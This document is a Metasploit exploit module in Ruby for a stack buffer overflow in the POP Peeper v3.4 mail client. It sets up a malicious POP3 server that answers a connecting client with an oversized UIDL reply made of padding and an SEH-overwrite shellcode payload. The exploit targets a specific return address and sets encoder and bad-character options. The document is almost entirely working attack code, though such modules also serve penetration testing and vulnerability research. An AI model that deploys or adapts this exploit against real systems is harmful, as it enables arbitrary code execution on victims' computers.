POP Peeper v3.4 UIDL Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'POP Peeper v3.4 UIDL Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in POP Peeper v3.4.  
When a specially crafted UIDL string is sent to a client,  
an attacker may be able to execute arbitrary code. This  
module is based off of krakowlabs code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>   
[  
[ 'BID', '33926' ],   
[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x0a\x20\x0d",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 27 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])  
], self.class)  
end  
  
def on_client_connect(client)  
ok = "+OK\r\n"  
client.put(ok)  
end  
  
def on_client_data(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
ok = "+OK\r\n"  
client.put(ok)  
  
client.get_once  
  
ok = "+OK\r\n"  
client.put(ok)  
  
client.get_once  
  
ok = "+OK 1 100\r\n"  
client.put(ok)  
  
client.get_once  
  
sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"   
  
client.put(sploit)  
  
handler  
service.close_client(client)  
end  
  
end  
`